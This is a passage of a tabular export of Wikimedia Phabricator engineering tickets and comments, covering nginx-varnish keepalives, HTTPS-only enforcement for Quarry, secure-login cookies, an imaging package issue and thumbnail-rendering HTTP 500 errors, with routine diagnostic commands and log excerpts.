+@BBlack: Did that happen or did other stuff get into the way?",,,1442329304,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1
+501364,HTTP/1.1 keepalive for local nginx->varnish conns,"patch reverted, was causing an appreciable rate of 502 errors on upload.wm.o, likely due to using too many parallel sockets to varnish.  will tune this better and re-attempt later/tomorrow.",,,1438629563,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0
+501117,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 228564 merged by BBlack:
+tlsproxy: let nginx use keepalives to varnish
+
+[[https://gerrit.wikimedia.org/r/228564]]",,,1438609435,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+501100,HTTP/1.1 keepalive for local nginx->varnish conns,"Testing on an upload cache (cp1071, 48 worker processes) yields starkly different results:
+
+Before:
+```
+root@cp1071:~# netstat -an|grep '10.64.48.105:80[       ]*10.64.48.105:'|awk '{print $6}'|sort|uniq -c
+     22 ESTABLISHED
+     61 FIN_WAIT1
+    305 FIN_WAIT2
+  60906 TIME_WAIT
+```
+
+After:
+```
+root@cp1071:~# netstat -an|grep '10.64.48.105:80[       ]*10.64.48.105:'|awk '{print $6}'|sort|uniq -c
+    693 ESTABLISHED
+     39 FIN_WAIT1
+     98 FIN_WAIT2
+   1141 TIME_WAIT
+```
+
+I think with the longer transfer-times on the upload caches (larger average transferred object size), we were probably seeing bad effects from queueing requests on a single available connection-slot per worker before, and now with the keepalive setup they're able to parallelize properly.  The min established count here would be 192, but typical established is more like ~500-1000.",,,1438606112,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+501093,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 228564 had a related patch set uploaded (by BBlack):
+tlsproxy: let nginx use keepalives to varnish
+
+[[https://gerrit.wikimedia.org/r/228564]]
+",,,1438605185,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+107627,Quarry should be HTTPS-only,,Medium,50.0,1438377936,1461480995.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-7q5b7f5g33t7jget2a2v,task_description,resolved,True,c3,3,True,False,False,4,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+650557,Quarry should be HTTPS-only,It is now!,,,1461480989,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+650553,Quarry should be HTTPS-only,"Change 285058 merged by Yuvipanda:
+quarry: Enforce https only at nginx level
+
+[[https://gerrit.wikimedia.org/r/285058]]",,,1461480733,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+650550,Quarry should be HTTPS-only,"Change 285058 had a related patch set uploaded (by Yuvipanda):
+quarry: Enforce https only at nginx level
+
+[[https://gerrit.wikimedia.org/r/285058]]
+",,,1461480657,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+650549,Quarry should be HTTPS-only,"Change 285057 merged by Yuvipanda:
+quarry: Make Quarry HTTPS only
+
+[[https://gerrit.wikimedia.org/r/285057]]",,,1461479855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+650548,Quarry should be HTTPS-only,"Change 285057 had a related patch set uploaded (by Yuvipanda):
+quarry: Make Quarry HTTPS only
+
+[[https://gerrit.wikimedia.org/r/285057]]
+",,,1461479800,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+573384,Quarry should be HTTPS-only,it's behind dynamicproxy (module dynamicproxy) and that does not have an option for https-only yet. we need to add that in general in dynamicproxy for all projects using that,,,1449274926,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,True,,,22,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+572456,Quarry should be HTTPS-only,"looks like https works just fine and only a redirect is missing from http->https, will look into it",,,1449169166,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,True,,,22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+500502,Quarry should be HTTPS-only,In the meantime... https://github.com/EFForg/https-everywhere/pull/2353,,,1438378614,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1
+107604,Improve $wgSecureLogin=true codepaths to efficiently co-exist with https-only sites,"Instead of setting $wgSecureLogin=false on sites that are https only (e.g., T103021 for the WMF), make the option more efficient so that it can be maintained as a backup control in case http->https redirection at the pre-application layer is broken.
+
+[X] Don't show user preference to ""use insecure connection"" for https-only sites - https://gerrit.wikimedia.org/r/#/c/217856/
+[] Force all cookies to be set secure, reguardless of user preference, on https-only sites
+[] Decrease the size of the forceHTTPS=1 cookie (iirc, facebook used ""_s=1"" when they converted to https) to minimize overhead",Medium,50.0,1438363422,1493417811.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-w67nlb67ygxkce7tv2s2,task_description,duplicate,True,c3,3,True,False,False,4,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+107412,Jessie imaging installs nfs-common needlessly,"logstash100[1-3] has been re-imaged with jessie and nfs-common got installed, which starts rpc.statd. There's nothing in the package dependencies which would explain that (no reverse Recommends or Depends on nfs-common) and puppet only installs nfs-common for labstore and the dataset NFS servers, so this must be caused by something in tasksel or other parts of the d-i.",Medium,50.0,1438247988,1499258288.0,PHID-USER-abszjqutasfjxgagymds,False,PHID-USER-abszjqutasfjxgagymds,False,PHID-TASK-7egtgwdej5rlpgzv6qm7,task_description,resolved,True,c3,3,True,True,False,4,True,0,1,0,1,0,1,1,0,0,0,1,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+887547,Jessie imaging installs nfs-common needlessly,"This got fixed in T106477 already, closing",,,1499258288,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-7egtgwdej5rlpgzv6qm7,task_subcomment,,True,c3,3,True,,,104,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+693737,Jessie imaging installs nfs-common needlessly,"there's also a puppet class now to explicitly disable nfs client services, `base::no_nfs_client` added in https://gerrit.wikimedia.org/r/#/c/271274/ though for jessie it should be tracked down the the package(s) that's causing it to be installed",,,1468424074,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-7egtgwdej5rlpgzv6qm7,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,1,0,1,0,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+106740,ThumbnailRender job spam due to HTTP 500s,"Probably due to the thumb size < original size rule. Those should give HTTP 412 or something, and then the job can return ""true"" in run() for such cases, rather than logging and retrying two more times (and logging).
+
+2015-07-23 08:31:09 mw1010 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_002.JPG transformParams={""width"":""640""} (uuid=fbfbc971ef4745f39f4c1dae81c87570,timestamp=1437640260,QueuePartition=rdb1) t=8620 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
+2015-07-23 08:32:08 mw1004 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""1280""} (uuid=e10f0d79ba4e4e6d820d0ccc4a162c66,timestamp=1437640319,QueuePartition=rdb1) t=8224 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
+2015-07-23 08:32:08 mw1007 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""800""} (uuid=b01d5e67754b40c2bca5149b4ff10470,timestamp=1437640319,QueuePartition=rdb1) t=8227 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
+2015-07-23 08:32:08 mw1004 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""1024""} (uuid=cdd28d7220054f02a9bd1138f65865ab,timestamp=1437640319,QueuePartition=rdb1) t=8257 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
+2015-07-23 08:32:08 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""320""} (uuid=7f0ca2623ed24392ad8ca7c1ee8b1a96,timestamp=1437640319,QueuePartition=rdb1) t=8184 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
+2015-07-23 08:32:08 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""640""} (uuid=5ccea45bd1254be0a30d2c2072a07d9f,timestamp=1437640319,QueuePartition=rdb1) t=8199 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
+2015-07-23 08:32:42 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_003.JPG transformParams={""width"":""800""} (uuid=eeec2978013c4ce588e53ab76a8eb425,timestamp=1437640353,QueuePartition=rdb2) t=8156 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
+2015-07-23 08:32:42 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_003.JPG transformParams={""width"":""640""} (uuid=a9975fc34238417eaf9620758c433f0f,timestamp=1437640353,QueuePartition=rdb2) t=8203 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
+2015-07-23 08:32:42 mw1001 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_003.JPG transformParams={""width"":""320""} (uuid=36dceb3042354b7aa0605367e9092190,timestamp=1437640353,QueuePartition=rdb2) t=8232 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
+2015-07-23 08:33:18 mw1016 commonswiki runJobs ERROR: ThumbnailRender File:Contre-amiral-IMG_9154.JPG transformParams={""width"":""2560""} (uuid=0e65942249454dadae5888e6cfb9dd38,timestamp=1437640389,QueuePartition=rdb1) t=8219 error=ThumbnailRenderJob::run: incorrect HTTP status 500",Medium,50.0,1437683985,1480984068.0,PHID-USER-bmbmvb2e5bg6ztcangbq,False,PHID-USER-papbtlagfolot4dzerne,False,PHID-TASK-ibnfma3crgj5trb22g56,task_description,resolved,True,c3,3,True,False,False,3,True,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1
+712188,ThumbnailRender job spam due to HTTP 500s,"Change 305010 merged by jenkins-bot:
+Move thumbnail rendering to a more appropriate spot
+
+[[https://gerrit.wikimedia.org/r/305010]]",,,1471351396,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1
+712173,ThumbnailRender job spam due to HTTP 500s,"Change 305010 had a related patch set uploaded (by Gilles):
+Move thumbnail rendering to a more appropriate spot
+
+[[https://gerrit.wikimedia.org/r/305010]]
+",,,1471347618,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1
+712162,ThumbnailRender job spam due to HTTP 500s,"Change 304995 abandoned by Gilles:
+Delay thumbnail pre rendering job by a second
+
+Reason:
+I think the answer is to move the code triggering the thumbnail prerendering to a better location, inside recordUpload2's onTransactionIdle call
+
+[[https://gerrit.wikimedia.org/r/304995]]",,,1471345964,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+712120,ThumbnailRender job spam due to HTTP 500s,"Change 304995 had a related patch set uploaded (by Gilles):
+Delay thumbnail pre rendering job by a second
+
+[[https://gerrit.wikimedia.org/r/304995]]
+",,,1471340036,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+499663,ThumbnailRender job spam due to HTTP 500s,"Checking the severity of this issue:
+
+```
+gilles@fluorine:/a/mw-log$ cat runJobs.log | grep ThumbnailRender | grep ""\|\""width\"":\""1920\""\""width\"":\""1280\""\|\""width\"":\""1024\""\|\""width\"":\""800\""\|\""width\"":\""640\"""" | grep "" good"" | wc -l
+37526
+gilles@fluorine:/a/mw-log$ cat runJobs.log | grep ThumbnailRender | grep ""\|\""width\"":\""1920\""\""width\"":\""1280\""\|\""width\"":\""1024\""\|\""width\"":\""800\""\|\""width\"":\""640\"""" | grep ""status 500 when hitting"" | awk -F "" "" '{print $NF}' | uniq | wc -l
+9438
+
+gilles@fluorine:/a/mw-log$ cat runJobs.log | grep ThumbnailRender | grep ""\|\""width\"":\""1920\""\""width\"":\""1280\""\|\""width\"":\""1024\""\|\""width\"":\""800\""\|\""width\"":\""640\"""" | grep "" good"" | awk -F "" "" '{print $8}' | uniq | wc -l
+25292
+gilles@fluorine:/a/mw-log$ cat runJobs.log | grep ThumbnailRender | grep ""\|\""width\"":\""1920\""\""width\"":\""1280\""\|\""width\"":\""1024\""\|\""width\"":\""800\""\|\""width\"":\""640\"""" | grep ""status 500 when hitting"" | awk -F "" "" '{print $8}' | uniq | wc -l
+3157
+```
+
+Meaning that pre-rendering doesn't work at the time it's requested for about 12% of the files.",,,1438281981,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+499444,ThumbnailRender job spam due to HTTP 500s,">>! In T106740#1491467, @fgiunchedi wrote:
+> mmh do you see the same in production? I can't reproduce ATM
+
+Indeed, production looks fine and returns a 400, meaning that my change has already made the production logs less noisy.
+
+The original issue found in @aaron's initial sample is still a mystery, now that I'm gathering more data:
+
+The vast majority of 500s involved behave fine when requested later:
+
+```
+gilles@fluorine:/a/mw-log$ cat runJobs.log | grep ThumbnailRender | grep ""status 500 when hitting"" | awk -F "" "" '{print $NF}' | uniq | xargs -I thumburl curl -L -H ""Host: upload.wikimedia.org"" -H ""X-forwarded-proto: https"" -s -o /dev/null -I -w ""%{http_code}\n"" ""http:thumburl"" | sort | uniq -c
+   1755 200
+     96 500
+```
+More investigation is required to figure this out.
+
+",,,1438257179,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1
+498862,ThumbnailRender job spam due to HTTP 500s,">>! In T106740#1488420, @Gilles wrote:
+> @fgiunchedi I remember that we ""fixed"" the 500/400 response for thumbs in T88412 and as seen above, the PHP returns the correct header at the moment. However I really can't figure out why Varnish turns that 400 into a 500. Any ideas?
+
+mmh do you see the same in production? I can't reproduce ATM
+
+```
+i7:~$ curl -i ""https://upload.wikimedia.org/wikipedia/commons/thumb/3/3f/Carl_Simon.jpg/79345px-Carl_Simon.jpg""
+HTTP/1.1 400 Bad Request
+Server: nginx/1.9.3
+Date: Wed, 29 Jul 2015 13:10:05 GMT
+Content-Type: text/html; charset=utf-8
+Content-Length: 385
+Connection: keep-alive
+X-Content-Type-Options: nosniff
+X-Powered-By: HHVM/3.6.1
+X-Mw-Thumbnail-Renderer: mw1155
+Cache-Control: no-cache
+X-Trans-Id: tx14125093230b4248aebd9-0055b8d098
+X-Varnish: 3677239121, 1284444796 1284418870, 3300715481
+Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
+Accept-Ranges: bytes
+Age: 20
+X-Cache: cp1074 miss (0), cp3036 hit (1), cp3046 frontend miss (0)
+Strict-Transport-Security: max-age=31536000
+Access-Control-Allow-Origin: *
+Access-Control-Expose-Headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache, X-Varnish
+Timing-Allow-Origin: *
+
+<!DOCTYPE html>
+<html><head>
+<meta charset=""UTF-8"" />
+<title>Error generating thumbnail</title>
+</head>
+<body>
+<h1>Error generating thumbnail</h1>
+<p>
+Error creating thumbnail: Image was not scaled, is the requested width bigger than the source?
+</p>
+<!-- http://commons.wikimedia.org/w/thumb_handler.php/3/3f/Carl_Simon.jpg/79345px-Carl_Simon.jpg -->
+<!-- mw1155 -->
+
+</body>
+</html>
+i7:~$ 
+```
+
+```
+mw1155:~$ curl -i -H 'Host: commons.wikimedia.org' -H 'X-forwarded-proto: https' 'http://commons.wikimedia.org/w/thumb_handler.php/3/3f/Carl_Simon.jpg/79345px-Carl_Simon.jpg'
+HTTP/1.1 400 Bad Request
+Server: Apache
+X-Content-Type-Options: nosniff
+Cache-control: no-cache
+X-MW-Thumbnail-Renderer: mw1159
+Content-Type: text/html; charset=utf-8
+X-Varnish: 1357378451, 840169381
+Via: 1.1 varnish, 1.1 varnish
+Content-Length: 357
+Accept-Ranges: bytes
+Date: Wed, 29 Jul 2015 13:13:58 GMT
+Age: 0
+Connection: keep-alive
+X-Cache: cp1065 miss (0), cp1054 frontend miss (0)
+Strict-Transport-Security: max-age=31536000
+Set-Cookie: GeoIP=:::::v6; Path=/; Domain=.wikimedia.org
+X-Analytics: https=1
+Set-Cookie: WMF-Last-Access=29-Jul-2015;Path=/;HttpOnly;Expires=Sun, 30 Aug 2015 12:00:00 GMT
+
+<!DOCTYPE html>
+<html><head>
+<meta charset=""UTF-8"" />
+<title>Error generating thumbnail</title>
+</head>
+<body>
+<h1>Error generating thumbnail</h1>
+<p>
+Error creating thumbnail: Image was not scaled, is the requested width bigger than the source?
+</p>
+<!-- /w/thumb_handler.php/3/3f/Carl_Simon.jpg/79345px-Carl_Simon.jpg -->
+<!-- mw1159 -->
+
+</body>
+</html>
+mw1155:~$ 
+```",,,1438175952,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+498385,ThumbnailRender job spam due to HTTP 500s,"Change 227456 merged by jenkins-bot:
+Don't retry invalid thumbnail requests due to impossible width
+
+[[https://gerrit.wikimedia.org/r/227456]]",,,1438106820,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+498379,ThumbnailRender job spam due to HTTP 500s,"Change 227453 merged by jenkins-bot:
+Gather more information about pre rendering 500s
+
+[[https://gerrit.wikimedia.org/r/227453]]",,,1438106500,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1
